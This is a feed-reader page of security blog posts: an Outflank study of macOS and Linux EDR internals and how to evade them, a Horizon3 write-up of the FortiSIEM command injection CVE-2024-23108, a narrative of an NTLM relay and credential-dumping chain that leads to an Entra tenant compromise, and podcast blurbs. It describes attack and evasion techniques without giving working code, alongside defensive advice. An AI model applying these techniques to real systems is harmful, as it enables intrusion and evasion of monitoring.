Normal view

There are new articles available, click to refresh the page.
Today — 3 June 2024Pentest/Red Team

EDR Internals for macOS and Linux

3 June 2024 at 15:56

Many public blogs and conference talks have covered Windows telemetry sources like kernel callbacks and ETW, but few mention macOS and Linux equivalents. Although most security professionals may not be surprised by this lack of coverage, one should not overlook these platforms. For example, developers using macOS often have privileged cloud accounts or access to intellectual property like source code. Linux servers may host sensitive databases or customer-facing applications. Defenders must have confidence in their tools for these systems, and attackers must understand how to evade them. This post dives into endpoint security products on macOS and Linux to understand their capabilities and identify weaknesses.

Endpoint detection and response (EDR) agents comprise multiple sensors: components that collect events from one or more telemetry sources. The agent formats raw telemetry data into a standard format and then forwards it to a log aggregator. EDR telemetry data informs tools such as antivirus, but it also informs humans as they manually hunt for threats in the network.

This post should not be considered a comprehensive list of telemetry sources or EDR implementations. Instead, the following observations were made while reverse engineering some of the most popular macOS and Linux agents. Outflank tested the latest version of each product on macOS 14.4.1 (Sonoma) and Linux 5.14.0 (Rocky 9.3). After reviewing previous research, the author will describe relevant security components of macOS and Linux, present their understanding of popular EDR products, and then conclude with a case study on attacking EDR using this knowledge.

Notable EDR Capabilities

Although every product has its own “secret formula” for detecting the latest threats, nearly all EDR agents collect the following event types:

  • Authentication attempts
  • Process creation and termination
  • File access, modification, creation, and deletion
  • Network traffic

Outflank’s research primarily focused on these events, but this post will also cover other OS-specific telemetry.

Previous Research

Security researchers have covered Windows EDR internals in great detail. A quick Google search for “EDR bypass” or “EDR internals” will return an extensive corpus of blogs, conference talks, and open-source tools, all focused on Windows EDR. That said, most companies consulted by the author also deployed an EDR agent to their macOS and Linux systems. These agents are relatively undocumented compared to their Windows counterparts. This lack of information is likely due to the success of open-source tools such as Mythic and Sliver in evading out-of-the-box antivirus solutions (including those bundled with EDR).

Of course, there is full Linux kernel source code and Apple documentation, albeit not verbose, on stable macOS APIs. This alone does not give much insight into the workings of EDR agents, though, as it only describes the possible ways said agent might collect information on a system. One can glimpse some additional understanding by reviewing open-source projects, such as the outstanding Objective-See collection for macOS or container runtime security projects for Linux. Below is a list of projects that share functionality with EDR agents reversed by Outflank:


Even still, these projects do not fully replicate the capabilities of popular EDR agents. While each may collect a subset of the telemetry used by commercial products, none of these projects appeared to have the same coverage.

Telemetry Sources – macOS

Unsupported Options

In studying macOS internals, one might discover promising security components that commercial products do not use. For instance, many considered kernel extensions (KEXT) a de facto sensory component of EDR agents until Catalina (2019) phased them out completely. Michael Cahyadi’s post on the transition from kernel extensions to modern alternatives documents the work required to migrate from these frameworks.

Similarly, modern macOS (2016+) implements a standardized logging system called unified logging. Logs are categorized by subsystem (e.g., com.apple.system.powersources.source) and can be viewed with /usr/bin/log or the Console application. While unified log data is great for debugging, the logs are restricted with a private entitlement (com.apple.private.logging.stream), rendering them unusable to third-party EDR agents.

Endpoint Security API

Apple now recommends the Endpoint Security (ES) API for logging most events an EDR agent requires:

  • Authentication attempts
  • Process creation and termination
  • File access, modification, creation, and deletion

The complete list of ES event types in Apple’s documentation follows a standard format: ES_EVENT_TYPE_<RESPONSE TYPE>_<EVENT TYPE NAME>.

The “response type” can be NOTIFY or AUTH, depending on whether the ES client must authorize an action. The “event type name” describes each event. (Examples will be discussed in the following sections.)

Plenty of open-source examples exist for those looking to write an ES API client, but executing them on modern macOS requires the developer to sign their executable with a restricted entitlement or disable SIP on the target system.

Network events are notably absent from the ES API. Instead, EDR agents can utilize an additional sensor that captures events using the NetworkExtension framework.

Following Apple’s deprecation of kernel extensions, events can be collected entirely from user-mode using the ES API and NetworkExtension framework. This differs from Windows and Linux, which rely heavily on kernel-mode sensors.

Examining ES Event Types

Red Canary Mac Monitor is a free, closed-source ES client. It uses a system extension, so the client must be embedded within its application bundle in Contents/Library/SystemExtensions/. In this case, the bundle’s entitlements can be listed using the codesign utility.


codesign -d --entitlements :- /Applications/Red\ Canary\ Mac\ Monitor.app/Contents/Library/SystemExtensions/com.redcanary.agent.securityextension.systemextension

The output property list will vary depending on the target system extension, but all ES clients must have the com.apple.developer.endpoint-security.client entitlement.


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
  <dict>
    <key>com.apple.application-identifier</key>
      <string>UA6JCQGF3F.com.redcanary.agent.securityextension</string>
    <key>com.apple.developer.endpoint-security.client</key>
      <true/>
    <key>com.apple.developer.team-identifier</key>
        <string>UA6JCQGF3F</string>
    <key>com.apple.security.application-groups</key>
      <array>
        <string>UA6JCQGF3F</string>
      </array>
  </dict>
</plist>

ES clients must initialize the API using two functions exported by libEndpointSecurity.dylib: es_new_client and es_subscribe. The latter is particularly interesting because it indicates to the ES API which events the client should receive. Once a client of interest has been discovered, it can be instrumented using Frida (after disabling SIP). The es_subscribe function contains two parameters of interest: the number of events (event_count) and a pointer to the list of event IDs (events).


es_return_t es_subscribe(es_client_t* client, const es_event_type_t* events, uint32_t event_count);

With this information, one can inject a target system extension process with Frida and hook es_subscribe to understand which events it subscribes to. The function will likely only be called when the system extension starts, so analyzing an EDR agent may require some creative thinking. Mac Monitor makes this step easy as the runtime GUI can update the list of events.

A screenshot of the settings window in Mac Monitor that allows a user to select which ES event types the client should subscribe to.
Changing Target ES Events in Red Canary Mac Monitor

Outflank created a simple Frida script to hook es_subscribe and print the list of events, as well as an example Python script to create or inject the process.

Demo of retrieving ES API subscriptions with Frida
Retrieving ES API Events with Frida

Examining ES Event Types

Even with a list of event types, the actual data available to an ES client may not be clear. Outflank published an open-source tool called ESDump that can subscribe to any currently available event types and output JSON-formatted events to stdout.

The list of event types is defined in config.h at compile-time. For example, the following config will subscribe to the event types selected in the previous section.

A screenshot of ESDump config.h
ESDump Config

Compile the program and then copy it to a macOS system with SIP disabled. ESDump does not have any arguments.

Demo of dumping ES events with ESDump
Dumping Endpoint Security Events

ESDump uses audit tokens to retrieve IDs for the associated process and user. The program resolves process and user names to enrich raw data.

Screenshot of ESDump output where an audit token was used to resolve a process and user name
Process and User Name Resolved from Audit Token

NetworkExtension Framework

Unlike the ES API, the NetworkExtension framework does not have predefined event types. Instead, agents must subclass various framework classes to monitor network traffic. Each of these framework classes requires a different entitlement. The relevant entitlements provide insight into possible use cases:

  • DNS Proxy – Proxy DNS queries and resolve all requests from the system.
  • Content Filter – Allow or deny network connections. Meant for packet inspection and firewall applications.
  • Packet Tunnel – Meant for VPN client applications.

In addition to the DNS request and response data, providers can access metadata about the source process, including its signing identifier and application audit token. Content filter providers can also access the process audit token, which is different from the application audit token if a system process makes a network connection on behalf of an application. In both cases, these properties are enough to find the originating process and user IDs to correlate network extension data with ES API events.

Analyzing Network Extensions

Discovering the network extension provider(s) an agent implements is simple, as they each require separate entitlements. DNSMonitor from Objective-See is an open-source DNS proxy provider. It uses a system extension, so the provider must be embedded within its application bundle in Contents/Library/SystemExtensions/.

A screenshot of macOS Finder showing the content of DNSMonitor's application bundle with the user about to click "Show Package Contents" for the embedded system extension.
Opening a System Extension Bundle

Inside a system extension bundle, there will be a file at Contents/Info.plist containing information about its entitlements. The NetworkExtension key should be present, with a NEProviderClasses subkey that lists each provider implementation.

<key>NetworkExtension</key>
<dict>
	<key>NEMachServiceName</key>
	<string>VBG97UB4TA.com.objective-see.dnsmonitor</string>
	<key>NEProviderClasses</key>
	<dict>
		<key>com.apple.networkextension.dns-proxy</key>
		<string>DNSProxyProvider</string>
	</dict>
</dict>

Each provider type will also highlight the name of the associated class. This information is enough to start reversing an extension using a tool like Hopper.

A screenshot of Hopper on macOS where the built-in search is used to find method's of the "DNSProxyProvider" class.
DNS Proxy Provider Class Methods

Creating a Network Extension

While knowing the providers implemented by a macOS network extension is valuable, more is needed to understand the data available to the agent. Outflank released an open-source tool called NEDump that implements a content filter provider and writes JSON-formatted events to stdout. The application and system extension must be signed, even with SIP disabled, so the repository includes a signed release binary. As a system extension is utilized, the application must be copied to /Applications/ to function. No arguments are required to execute NEDump and start receiving event data.

Demo of dumping content filter events with NEDump
Dumping Content Filter Events

Telemetry Sources – Linux

While Linux components are deprecated less often than macOS equivalents, most Linux EDR agents had comparable, modern implementations. For example, Auditd could provide the necessary telemetry for an EDR agent, but newer alternatives have better performance. In addition, only one program can subscribe to Auditd at a time, meaning the agent may conflict with other software. Both reasons sit among the most common EDR complaints, likely explaining why Outflank did not observe any products using these methods by default.

Kernel Function Tracing

The observed agents all utilized kernel function tracing as their primary telemetry sources. Linux offers several ways to “hook” kernel functions to inspect their arguments and context. Popular EDR agents used the following trace methods:

  • Kprobes and Return Probes – Any kernel function (or address) that a client resolves can be traced using kernel probes. Function resolution requires kernel symbols to be available and likely requires different addresses for kernel versions or even distributions. Target functions may even be unavailable due to compile-time optimizations.
  • Tracepoints – A “tracepoint” is a function call added to various functions in the Linux kernel that can be hooked at runtime. These work similarly to kprobes but should be faster and do not require function resolution. However, some target functions may not have a tracepoint.
    • Raw Tracepoints – A “raw” tracepoint is a more performant alternative to any non-syscall or sys_enter/sys_exit tracepoint. These hooks can also monitor syscalls that don’t have a dedicated tracepoint.
  • Function Entry/Exit Probes – Fentry and fexit probes act similarly to tracepoints, but they are added by GCC (-pg).

Kernel-Mode Programming

Traditionally, only loadable kernel modules (LKM) could use kernel tracing features. LKMs are similar to Windows drivers—crashes may result in unrecoverable kernel errors, raising similar stability concerns. Linux kernel versions 4.x implement an “extended” version of Berkeley Packet Filter to address these concerns called eBPF. This feature allows developers to load small, verifiable programs into the kernel. eBPF programs have material constraints, but they should mitigate the stability risks of LKM-based sensors. Only newer Linux kernel versions support eBPF and certain advanced eBPF features; customers may not have these versions deployed across their environments. This led many EDR vendors to offer two (or more!) versions of their Linux agent, each targeting a different kernel version.

Liz Rice from Isovalent wrote an excellent, free book on eBPF. The company also has a free eBPF lab on its website for those who prefer a hands-on approach. Many open-source projects demonstrate good examples of eBPF-based tracing. This post only covers the newest eBPF variant of each agent, but it is safe to assume that other variants collect similar information with a slightly modified eBPF or LKM-based sensor.

Analyzing eBPF Programs

Two components of eBPF-based sensors may provide insights into their implementation: programs and maps. Each eBPF program typically monitors a single kernel function and uses a map to communicate with the user-mode agent. Microsoft SysmonForLinux is a well-documented, open-source eBPF-based monitoring tool. It uses several tracepoints to monitor process, file, and networking events. Once installed, a complete list of currently loaded programs can be retrieved using bpftool with the bpftool prog list command. The results usually include unrelated programs, but the PIDs can identify relevant results, as seen below.


52: raw_tracepoint  name ProcCreateRawExit  tag ebba2584bc0537a4  gpl
        loaded_at 2024-05-14T12:42:20-0500  uid 0
        xlated 6912B  jited 3850B  memlock 8192B  map_ids 3,5,11,9,8,10
        btf_id 54
        pids sysmon(807)

The bytecode of an eBPF program is accessible as well, using the bpftool prog dump command.


int ProcCreateRawExit(struct bpf_our_raw_tracepoint_args * ctx):
0xffffffffc02f18e8:
; int ProcCreateRawExit(struct bpf_our_raw_tracepoint_args *ctx)
   0:	nopl   0x0(%rax,%rax,1)
   5:	xchg   %ax,%ax
   7:	push   %rbp
   8:	mov    %rsp,%rbp
   b:	sub    $0x98,%rsp
  12:	push   %rbx

Additionally, the bpftool map list command will retrieve a complete list of maps. Again, there are unrelated results, but the PIDs describe associated processes.

11: array  name eventStorageMap  flags 0x0
        key 4B  value 65512B  max_entries 512  memlock 33546240B
        pids sysmon(807) 

The contents of a map can be accessed with bpftool map dump.


key:
00 00 00 00
value:
01 ff 00 00 40 00 00 00  00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
ea 02 00 00 0c 56 00 00  85 88 52 b5 30 ee 3c 00
00 00 08 00 24 81 00 00  61 d7 37 66 00 00 00 00
ac 4e a8 08 00 00 00 00  61 d7 37 66 00 00 00 00
ac 4e a8 08 d7 8f ff ff  61 d7 37 66 00 00 00 00
ac 4e a8 08 00 00 00 00  00 00 00 00 20 00 00 00

Retrieving the name and bytecode for each program should be enough to understand which functions an eBPF agent monitors. Outflank created a Bash script to expedite the enumeration described above.

Sensor Implementations – macOS

The EDR agents Outflank reviewed on macOS all had similar implementations. The following sections aim to describe commonalities as well as any unique approaches.

Authentication Events

Multiple agents collected authentication data using getutxent, some at regular intervals and others in response to specific events. For instance, one agent used the Darwin Notification API to subscribe to com.apple.system.utmpx events. Outflank created another Frida script that can be used with hook.py script to examine these subscriptions.

Other agents subscribed to the following ES API events as a trigger to check utmpx:

  • AUTHENTICATION – The most general authentication event. Generated by normal login, sudo usage, and some remote logins.
  • PTY_GRANT/CLOSE – Records each pseudoterminal control device (shell session), including local Terminal and remote SSH connections.
  • LW_SESSION_LOGIN/LOGOUT – Occurs when a user logs in normally. Includes the username and a “graphical session ID” that appears to track whether a session has ended.
  • OPENSSH_LOGIN/LOGOUT – SSH logins, including failed attempts. Includes the username and source address.
  • LOGIN_LOGIN/LOGOUT – Official documentation states these events are generated for each “authenticated login event from /usr/bin/login“. The author was unable to produce events of this type.

Process Events

All the reviewed macOS agents subscribed to the following process event types.

  • EXEC
  • FORK
  • EXIT

File Events

All the reviewed macOS agents subscribed to the following file event types:

  • CREATE
  • OPEN
  • CLOSE
  • LINK
  • UNLINK
  • RENAME
  • MOUNT
  • CLONE
  • SETMODE
  • SETOWNER
  • SETFLAGS
  • SETEXTATTR

A subset of the agents subscribed to additional event types:

  • UNMOUNT
  • READDIR
  • DELETEEXTATTR
  • SETATTRLIST
  • REMOUNT
  • TRUNCATE
  • SETACL – Although macOS uses POSIX file permissions, it also implements more granular access control using Access Control Lists (ACL).

Network Events

All the reviewed macOS agents used a network extension to implement a content filter provider. Refer to the previous sections for more information on the data available to content filters.

macOS-Specific Events

Each macOS agent was subscribed to a subset of the following OS-specific events:

  • REMOTE_THREAD_CREATE
  • PROC_SUSPEND_RESUME
  • XP_MALWARE_DETECTED – XProtect, the built-in macOS antivirus, detected malware. A complimentary event type, XP_MALWARE_REMEDIATED, indicates that malware was removed.
  • GET_TASK_READ/INSPECT/NAME – A process retrieved the task control/read/inspect/name port for another process. Mach ports are an IPC mechanism on macOS.
  • CS_INVALIDATED – The code signing status for a process is now invalid, but that process is still running.
  • SIGNAL – A process sent a signal to another process.
  • UIPC_CONNECT – A process connected to a UNIX domain socket.
  • BTM_LAUNCH_ITEM_ADD – A launch item was made known to background task management. This includes common macOS persistence methods like launch agents/daemons and login items.

Sensor Implementations – Linux

Unlike macOS agents, the Linux agents reviewed by Outflank had much greater diversity in their implementations. The following sections compare approaches taken by various products.

Authentication Events

A subset of the reviewed Linux agents hooked the following PAM functions:

  • pam_authenticate – Includes failed login attempts.
  • pam_open_session – Likely required to correlate other events with a user session.

Other agents monitored specific files to capture authentication events:

  • /var/run/utmp
  • /var/log/btmp – Includes failed login attempts.

Process Events

Each Linux agent used a tracepoint (some used raw tracepoints) for sched_process_exec. One product also placed a fentry probe on finalize_exec, an internal kernel function called by execve, but it was unclear what additional information this could provide. Only some agents appeared to monitor fork usage with a sched_process_fork tracepoint. All agents monitored process termination with tracepoints or fentry probes on sched_process_exit, taskstats_exit, sys_exit_setsid, or exit.

File Events

A subset of the reviewed Linux agents only monitored the following syscalls using fentry probes or kprobes:

  • chdir
  • chmod
  • chown
  • clone
  • clone_file_range
  • copy_file_range
  • dup
  • fallocate
  • fchdir
  • fchmod
  • fchmodat
  • fchown
  • fchownat
  • openat
  • pwrite
  • read
  • rename
  • renameat
  • renameat2
  • sendfile
  • setfsgid
  • setfsuid
  • setgid
  • setregid
  • setresgid
  • setreuid
  • setsid
  • setuid
  • truncate
  • unlink
  • unlinkat
  • unshare
  • write

While some agents relied entirely on syscalls, others only traced a few and attached fentry probes or kprobes to the following internal kernel functions:

  • chmod_common
  • chown_common
  • do_filp_open
  • ioctl_file_clone
  • locks_remove_file
  • mnt_want_write
  • notify_change
  • security_file_open
  • security_file_permission
  • security_inode_getattr
  • security_inode_getxattr
  • security_inode_removexattr
  • security_inode_setxattr
  • security_inode_unlink
  • security_mmap_file
  • security_path_link
  • security_path_mkdir
  • security_path_rename
  • security_path_unlink
  • security_sb_free
  • security_sb_mount
  • vfs_copy_file_range
  • vfs_fallocate
  • vfs_link
  • vfs_rename
  • vfs_unlink
  • vfs_write

Network Events

Outflank observed two general strategies for monitoring network traffic. Some agents monitored the following syscalls using kprobes or fentry probes:

  • socket
  • bind
  • accept
  • setsockopt
  • socketcall

Instead of monitoring networking syscalls, the remaining agents traced the following internal kernel functions with fentry or kprobes:

  • sock_create
  • inet_bind/inet6_bind
  • inet_sendmsg/inet6_sendmsg
  • inet_recvmsg/inet6_recvmsg
  • inet_csk_accept
  • inet_accept
  • inet_listen
  • tcp_close
  • inet_release
  • tcp_v4_connect/tcp_v6_connect
  • inet_dgram_connect – UDP
  • inet_stream_connect – TCP
  • sock_common_recvmsg – DCCP
  • sk_attach_filter – Called when SO_ATTACH_FILTER is passed to setsockopt.

Linux-Specific Events

Each Linux agent subscribed to a subset of the following OS-specific events.

  • security_bpf_map – Another program on the system can access or modify eBPF maps, but it usually requires the CAP_SYS_ADMIN or CAP_BPF capability. This means privileged users may be able to tamper with sensor data to silence or even spoof events. In response, some EDR agents monitor eBPF to protect their programs and maps.
  • security_ptrace_access_check – Monitors ptrace attempts.
  • security_netlink_send – Monitors netlink, an interface for sharing data between user-mode processes and the Linux kernel.
  • madvise – The author suspects some agents hooked this syscall to detect the exploitation of vulnerabilities like Dirty COW.

Case Study: Spoofing Linux Syscalls

Diving into an application often inspires security researchers to discover logical flaws that lead to unintended yet desirable results. The example highlighted in this section still affects popular commercial products, and the author hopes to inspire additional community research in this space.

Phantom Attack

At DEF CON 29, Rex Guo and Junyuan Zeng exploited a TOCTOU vulnerability for Falco and Tracee. Their exploit for “Phantom Attack v1” demonstrates an ability to spoof specific fields in some network (connect) and file (openat) events. The attack requires three separate threads, as shown below.

A flow diagram of the Linux Phantom V1 exploit
Phantom Attack Steps

A slight variation is required for the openat syscall, but it is conceptually similar. Ideally, the time-of-use (immediately after the page fault is handled) happens before benign data can be written to the original page. In practice, their POC was very reliable but required elevated privileges. According to its manual, userfaultfd requires the CAP_SYS_PTRACE capability since Linux 5.2. An alternative method of extending the TOCTOU window would be enough to exploit this vulnerability as a normal user.

Falco and Tracee used kernel function tracing, but they were vulnerable to the attack because they traced system calls instead of internal kernel functions. Arguments provided by user-mode were evaluated directly, including pointers to memory allocated by the calling process. As described above, some EDR agents monitored networking with syscall kprobes, implying they are likely vulnerable to the same attack. Indeed, Outflank’s fork of the “Phantom Attack v1” POC for connect worked against multiple EDR products in testing. As demonstrated below, the original code was modified to make an HTTP GET request to the target (in this case, google.com) and output the response.

A screenshot of an unnamed EDR console, proving it was affected by the TOCTOU vulnerability
Spoofing the Remote IP for connect

Outflank utilizes its knowledge of Windows, macOS, and Linux EDR to identify opportunities for evasion. In order to help other red teams easily implement these techniques and more, we’ve developed Outflank Security Tooling (OST), a broad set of evasive tools that allow users to safely and easily perform complex tasks. Consider scheduling an expert-led demo to learn more about the diverse offerings in OST.

The post EDR Internals for macOS and Linux appeared first on Outflank.

Before yesterdayPentest/Red Team

CVE-2024-23108: Fortinet FortiSIEM 2nd Order Command Injection Deep-Dive

28 May 2024 at 12:08

In November of 2023, preparing for a call for papers, I attempted to investigate the FortiSIEM patch for CVE-2023-34992. I kindly inquired with the PSIRT if I could have access to the most recent versions to some of their appliances to validate the patches, to which they declined. Acquiring access a different way, I eventually was able to analyze the patch.

While the patches for the original PSIRT issue, FG-IR-23-130, attempted to escape user-controlled inputs at this layer by adding the wrapShellToken() utility, there exists a second order command injection when certain parameters to datastore.py are sent. There exist two distinct vulnerabilities which were assigned CVE-2024-23108 and CVE-2024-23109, both with a CVSS3 score of 10.0, which allows remote, unauthenticated command execution as root. This blog will only cover the first, CVE-2024-23108, given they’re both patched in the same release.

CVE-2023-34992 Patch and Code Flow Analysis

In CVE-2023-34992, the phMonitor service on tcp/7900 was abused by sending it a handleStorageRequest message with a malicious server_ip value. When phMonitor received this message the specific command to be executed would be:
/usr/bin/python3.9 /opt/phoenix/deployment/jumpbox/datastore.py nfs test ‘<server_ip>’ ‘<mount_point>’ online. Inspecting the control flow of datastore.py for this type of request, we see that the server_ip field is validated by attempting to connect to the IP address.

Figure 1. datastore.py validating server_ip

After this, control is eventually passed to /opt/phoenix/deployment/jumpbox/datastore/nfs/test.py. Here, a call to __testMount() formats a call to os.system() on line 23, which derives the nfs_string value from our user-controlled mount_point payload value.

Figure 2. __testMount() calls os.system()

By formatting a request to the phMonitor client with a command type of 81, and the following payload, an unauthenticated attacker can achieve remote code execution as root.

Figure 3. Exploiting for reverse shell

The astute reader will notice that there is very little difference in the exploitation of the previous command injection, CVE-2023-34992, to this one, CVE-2024-23108, reported 6 months later.

Figure 4. CVE-2023-34992 vs CVE-2024-23108

Our proof of concept exploit can be found on our GitHub.

Indicators of Compromise

The logs for the phMonitor service will verbosely log many details of messages it receives and can be found at /opt/phoenix/logs/phoenix.log. Attempts to exploit CVE-2024-23108 will leave a log message containing a failed command with datastore.py nfs test. These lines should be inspected for malicious looking input.

Figure 5. Malicious commands logged

Timeline

29 November 2023 – Reported CVE-2024-23108

30 November 2023 – Reported CVE-2024-23109

3 January 2024 – PSIRT reproduces issues

16 January 2024 – Fortinet silently fixes the issues in v7.1.2 build 0160 with no mention of the vulnerabilities, PSIRT releases, or CVEs published

31 January 2024 – Fortinet publicly “discloses” the issues by adding unpublished CVE IDs to the PSIRT released for CVE-2023-34992 6 months prior without adding a changelog entry

7 February 2024 – Fortinet publicly publishes the CVE IDs, but states they were duplicates published in error, and then states they were real

Sometime later in 2024 – Fortinet eventually adds a changelog entry to the PSIRT and adds CVE IDs to the release documents

28 May 2024 – This blog

NodeZero

Figure 6. NodeZero exploiting CVE-2024-23108 to load a remote access tool for post-exploitation activities

Horizon3.ai clients and free-trial users alike can run a NodeZero operation to determine the exposure and exploitability of this issue.

Sign up for a free trial and quickly verify you’re not exploitable.

Start Your Free Trial

 

 

 

 

The post CVE-2024-23108: Fortinet FortiSIEM 2nd Order Command Injection Deep-Dive appeared first on Horizon3.ai.

Mastering the certified ethical hacker exam: Strategies and insights with Akyl Phillips

By: Infosec
16 May 2024 at 18:00

Cyber Work Hacks knows that you have what it takes to pass the Certified Ethical Hacker (CEH) exam! And you don’t have to do it alone! Infosec’s CEH boot camp instructor Akyl Phillips gives you his top tips and tricks for taking the exam! Phillips breaks down the common formats for CEH questions, talks common mistakes people make while taking the exam and why it’s not the end of the world if you fail the CEH on the first time (especially if you do it with an Infosec CEH/Pentest+ dual-cert boot camp). As Phillips puts it, first you have to get to know the beast, and that will allow you to slay the beast! Sharpen your tools and get down to business with this Cyber Work Hack.

0:00 - Certified ethical hacker exam
1:42 - What is ethical hacking and the roles using it?
2:46 - Tips and tricks for taking the CEH exam
3:32 - Tools to have before the CEH exam
5:09 - Common mistakes people make with the CEH exam
6:11 - What if I fail the CEH exam?
7:02 - Will I get CEH exam feedback?
7:49 - Best piece of advice for CEH exam day
8:55 - Outro

– Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.

💾

Horizon3.ai Expands Leadership Team with New Appointments

21 May 2024 at 13:07

Business Wire 05/21/2024

Horizon3.ai, a leader in autonomous security solutions, is pleased to announce the appointments of Erick Dean as Vice President of Product Management and Drew Mullen as Vice President of Revenue Operations. These key executive hires underscore the management team Horizon3.ai continues to build, fueling significant growth.

Read the entire article here

The post Horizon3.ai Expands Leadership Team with New Appointments appeared first on Horizon3.ai.

On-Prem Misconfigurations Lead to Entra Tenant Compromise 

20 May 2024 at 21:42

As enterprises continue to transition on-premises infrastructure and information systems to the cloud, hybrid cloud systems have emerged as a vital solution, balancing the benefits of both environments to optimize performance, scalability, and ease of change on users and administrators. However, there can be risks involved when connecting a misconfigured or ill-protected network to cloud services. Particularly, Microsoft Active Directory environments that are compromised could lead to a full compromise of a synchronized Microsoft Entra ID tenant. Once this critical IAM platform is breached all integrity and trust of connected services is lost.  

MS Entra ID and Hybrid Configurations 

Formally known as AzureAD, Entra ID is Microsoft’s cloud-based Identity and Access Management (IAM) solution that is integrated with several Microsoft products and services – including Azure cloud resources, Office 365, and any third-party applications integrated to use the platform for identity management. To capitalize on the dominance of Active Directory (AD) for on-premises domain management and ease the transition of enterprises to cloud services, Microsoft designed Entra ID to integrate seamlessly with existing AD infrastructure using a dedicated on-premises application called MS Entra Connect (formally known as AzureAD Connect). This setup allows users to access the on-premises domain and cloud services/resources using the same credentials.  

In the most common hybrid setup, known as Password Hash Synchronization (PHS), the Entra Connect application has highly-privileged access to both the AD and Entra environments to synchronize authentication material between the two. If an attacker breaches the Entra Connect server, they have potential paths to compromising both environments. Additionally, Entra Connect has a feature known as Seamless SSO that, when enabled, allows for password-less authentication to Microsoft cloud services, like Office 365, by utilizing the Kerberos authentication protocol.  

A Real-World Example 

A client conducted an assumed-breach internal pentest using NodeZero. NodeZero was given no prior knowledge of the client’s Entra ID account or hybrid setup.  

Initial Access to Domain Compromise

In this example case, NodeZero: 

  1. NodeZero poisoned NBT-NS traffic from Host 1 to relay a netNTLM credential to Host 2 – a SMB server with signing not required.  
  2. NodeZero remotely dumped SAM on Host 2 and discovered a Local Administrator Credential that was reused on several other hosts (Host 3 and Host 4).  
  3. Domain Compromise #1 – Utilizing the shared local administrator credential, NodeZero was able to run the NodeZero RAT on Host 3 and perform an LSASS dump. Interestingly, the Machine Account for Host 3 (HOST3$), captured in the LSASS dump, was a Domain Administrator!  
  4. Domain Compromise #2 – On Host 4, NodeZero used the shared local administrator credential to remotely dump LSA and discovered a second Domain Administrator credential (Admin2)!

    Domain Compromise to Entra Tenant Compromise

  5. Using Admin2’s credentials, NodeZero queried AD using the LDAP protocol and determined the domain was synchronized to an Entra ID tenant using Entra Connect installed on a Domain Controller (DC1). Exploiting three different credential dumping weaknesses (LSA Dumping, DPAPI dumping, and Entra Connect Dumping) NodeZero was able to harvest the cloud credential for Entra Connect (Sync_*).  
  6. Using HOST3$’s credentials, NodeZero performed an NTDS dump on another Domain Controller (DC2) and discovered the credential for the AZUREADSSOACC$ service account. This credential is utilized to sign Kerberos tickets for Azure cloud services when Seamless SSO is enabled. 
  7. NodeZero successfully logged into the client’s Entra tenant using Entra Connect’s credential and obtained a Refresh Token – enabling easier long-term access. 
  8. Using Entra Connect’s Refresh Token, NodeZero collected and analyzed AzureHound data and determined an on-premises user (EntraAdmin) was a Global Administrator within the Entra Tenant.  
  9. Armed with this knowledge, NodeZero performed a Silver Ticket Attack – using the credential for AZUREADSSOACC$, NodeZero forged a valid Kerberos Service Ticket. 
  10. Using the Kerberos ticket for EntraAdmin, NodeZero successfully authenticated to the Microsoft Graph cloud service, without being prompted for MFA, and verified its new Global Administrator privileges.  

It took NodeZero an hour to compromise the on-premises AD domain, and just shy of 2 hours to fully compromise the associated Entra ID tenant.  

Key Takeaways and Mitigations 

The attack path above was enabled by several common on-premises misconfigurations that when combined not only compromised the AD domain, but the Entra ID tenant as well. Key findings include: 

  1.  Prevent NTLM Relay.  NodeZero gained initial access to the domain via NTLM Relay; enabled by the insecure NBT-NS protocol and failure to enforce SMB Signing. Disabling NBT-NS and enforcing SMB Signing may have prevented NodeZero from utilizing the relay for initial access – but other vectors for initial domain access existed within the pentest. 
  2. Use LAPS.  The client’s reuse of credentials for Local Administrators enabled key lateral movements that lead to the discovery of Domain Administrator credentials. 
  3. Treat Entra Connect as a Tier-0 resource. Given the valuable nature of Entra Connect’s credentials, Horizon3.ai recommends installing Entra Connect on a non-DC server (with LAPS enabled) and adequately protected with an EDR solution.  
  4. Avoid using on-premises accounts for Entra Administrator Roles. Follow Microsoft’s recommendations for limiting the number of Entra Administrators and their level of privilege.  
Sign up for a free trial and quickly verify you’re not exploitable.

Start Your Free Trial

The post On-Prem Misconfigurations Lead to Entra Tenant Compromise  appeared first on Horizon3.ai.

OT cybersecurity jobs are everywhere, so why is nobody taking them? | Guest Mark Toussaint

By: Infosec
20 May 2024 at 18:00

Mark Toussaint of OPSWAT joins to talk about his work in securing operational technology, and specifically about his role as product manager. This is an under-discussed job role within security, and requires great technical expertise, intercommunication skills and the ability to carry out long term campaigns on a product from, as he put it, initial brainstorming scribblings on a cocktail napkin through the creation of the product, all the way to its eventual retirement. Learn what it takes to connect security engineering, solutions experts, project management, and more in the role of security product manager, and how OT security connects fast, flexible IT and cybersecurity with systems that, as Toussaint put it, might be put in place and unmodified for 15 or 20 years. It’s not that hard to connect the worlds, but it takes a specific skill set.

0:00 - Working in operational technology
1:49 - First getting into cybersecurity and tech
3:14 - Mark Toussaint’s career trajectory
5:15 - Average day as a senior product manager in OPSWAT
7:40 - Challenges in operational technology
9:11 - Effective strategist for securing OT systems
11:18 - Common attack vectors in OT security
13:41 - Skills needed to work in OT security
16:37 - Backgrounds people in OT have
17:28 - Favorite parts of OT work
19:47 - How to get OT experience as a new industry worker
21:58 - Best cybersecurity career advice
22:56 - What is OPSWAT
25:29 - Outro

– Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

About Infosec
